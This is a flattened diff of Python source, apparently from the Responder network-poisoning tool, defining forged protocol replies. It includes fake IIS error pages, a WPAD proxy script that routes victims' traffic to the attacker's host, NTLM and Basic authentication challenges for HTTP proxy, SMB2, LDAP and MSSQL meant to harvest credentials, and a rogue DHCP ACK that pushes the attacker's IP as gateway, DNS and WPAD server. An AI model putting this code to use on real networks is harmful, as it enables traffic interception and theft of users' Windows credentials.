<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
"""),
]) ])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
##### Proxy mode Packets ##### ##### Proxy mode Packets #####
class WPADScript(Packet): class WPADScript(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"), ("Code", "HTTP/1.1 200 OK\r\n"),
("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("Cache", "Pragma: no-cache\r\n"),
("Server", "Server: BigIP\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"), ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
]) ])
def calculate(self): def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"])) self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -586,7 +369,7 @@ class ServeExeFile(Packet):
("ContentType", "Content-Type: application/octet-stream\r\n"), ("ContentType", "Content-Type: application/octet-stream\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/10.0\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"),
("ContentDisp", "Content-Disposition: attachment; filename="), ("ContentDisp", "Content-Disposition: attachment; filename="),
("ContentDiFile", ""), ("ContentDiFile", ""),
("FileCRLF", ";\r\n"), ("FileCRLF", ";\r\n"),
@ -608,7 +391,7 @@ class ServeHtmlFile(Packet):
("ContentType", "Content-Type: text/html\r\n"), ("ContentType", "Content-Type: text/html\r\n"),
("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"),
("AcceptRanges", "Accept-Ranges: bytes\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
("Server", "Server: Microsoft-IIS/10.0\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"), ("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"),
@ -623,7 +406,7 @@ class ServeHtmlFile(Packet):
class WPAD_Auth_407_Ans(Packet): class WPAD_Auth_407_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
@ -639,7 +422,7 @@ class WPAD_Auth_407_Ans(Packet):
class WPAD_NTLM_Challenge_Ans(Packet): class WPAD_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "Proxy-Authenticate: NTLM "), ("WWWAuth", "Proxy-Authenticate: NTLM "),
@ -655,7 +438,7 @@ class WPAD_NTLM_Challenge_Ans(Packet):
class WPAD_Basic_407_Ans(Packet): class WPAD_Basic_407_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 407 Unauthorized\r\n"), ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"), ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
@ -672,7 +455,7 @@ class WEBDAV_Options_Answer(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"), ("Code", "HTTP/1.1 200 OK\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
("Len", "Content-Length: 0\r\n"), ("Len", "Content-Length: 0\r\n"),
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
@ -760,7 +543,7 @@ class MSSQLNTLMChallengeAnswer(Packet):
("TargetInfoLen", "\x7e\x00"), ("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain), ("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name ("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"), ("Av1Len", "\x06\x00"),
@ -872,24 +655,6 @@ class IMAPCapabilityEnd(Packet):
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
##### MQTT Packets #####
class MQTTv3v4ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x02"),
("Session", "\x00"),
("Code", "\x04"),
])
class MQTTv5ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x03"),
("Session", "\x00"),
("Code", "\x86"),
("Prop", "\x00"),
])
##### POP3 Packets ##### ##### POP3 Packets #####
class POPOKPacket(Packet): class POPOKPacket(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -1035,9 +800,9 @@ class LDAPNTLMChallenge(Packet):
("NTLMSSPNtTargetInfoLen", "\x94\x00"), ("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x0a"), ("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x00"), ("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"), ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain), ("NTLMSSPNtWorkstationName", settings.Config.Domain),
@ -1768,7 +1533,7 @@ class SMB2NegoAns(Packet):
("Signing", "\x01\x00"), ("Signing", "\x01\x00"),
("Dialect", "\xff\x02"), ("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"), ("Reserved", "\x00\x00"),
("Guid", urandom(16).decode('latin-1')), ("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"),
("Capabilities", "\x07\x00\x00\x00"), ("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"), ("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"), ("MaxReadSize", "\x00\x00\x10\x00"),
@ -1791,9 +1556,9 @@ class SMB2NegoAns(Packet):
("NegTokenTag0ASNLen", "\x3c"), ("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"), ("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"), ("NegThisMechASNLen", "\x3a"),
#("NegThisMech1ASNId", "\x06"), ("NegThisMech1ASNId", "\x06"),
#("NegThisMech1ASNLen", "\x0a"), ("NegThisMech1ASNLen", "\x0a"),
#("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), ("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"), ("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"), ("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"), ("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
@ -1822,14 +1587,14 @@ class SMB2NegoAns(Packet):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"]) StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
@ -1845,7 +1610,7 @@ class SMB2NegoAns(Packet):
self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
#self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"]))) self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"]))) self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"]))) self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
@ -2463,7 +2228,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName), ("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"), ("ServerTerminator", "\x00"),
("UsernameLen", "\x10"), ("UsernameLen", "\x10"),
("Username", settings.Config.Username), ("Username", "LGANDX"),
("UserTerminator", "\x00"), ("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"), ("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"), ("SrvSiteName", "Default-First-Site-Name"),

View file

@ -19,7 +19,6 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3') sys.exit('This script is meant to be run with Python3')
import struct import struct
import random
import optparse import optparse
import configparser import configparser
import os import os
@ -80,24 +79,20 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = settings.Config.Interface Interface = settings.Config.Interface
Responder_IP = RespondWithIP() Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0" NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0" DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0" DNSIP2 = "0.0.0.0"
DNSNAME = "local" DNSNAME = "lan"
WPADSRV = "http://"+Responder_IP+"/wpad.dat" WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True Respond_To_Requests = True
DHCPClient = [] DHCPClient = []
def GetMacAddress(Interface): def GetMacAddress(Interface):
try: mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr'] return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
except:
mac = "00:00:00:00:00:00"
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
##### IP Header ##### ##### IP Header #####
class IPHead(Packet): class IPHead(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -198,28 +193,22 @@ class DHCPACK(Packet):
("Op6", "\x06"), ("Op6", "\x06"),
("Op6Len", "\x08"), ("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", ""), ("Op252", "\xfc"),
("Op252Len", ""), ("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server ("Op252Str", ""), #Wpad Server
("Op255", "\xff"), ("Op255", "\xff"),
("Padding", "\x00"), ("Padding", "\x00"),
]) ])
def calculate(self, DHCP_DNS): def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME self.fields["Op15Str"] = DNSNAME
if DHCP_DNS: self.fields["Op252Str"] = WPADSRV
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
@ -239,15 +228,11 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data): def FindIP(data):
IPPos = data.find(b"\x32\x04") + 2 data = data.decode('latin-1')
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1: IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
#Probably not present in the DHCP options we received, let's grab it from the IP header instead return ''.join(IP[0:4]).encode('latin-1')
return data[12:16]
else:
IP = data[IPPos:IPPos+4]
return IP
def ParseDHCPCode(data, ClientIP,DHCP_DNS): def ParseDHCPCode(data, ClientIP):
global DHCPClient global DHCPClient
global ROUTERIP global ROUTERIP
PTid = data[4:8] PTid = data[4:8]
@ -260,8 +245,8 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS):
RequestIP = data[245:249] RequestIP = data[245:249]
if DHCPClient.count(MacAddrStr) >= 4: if DHCPClient.count(MacAddrStr) >= 4:
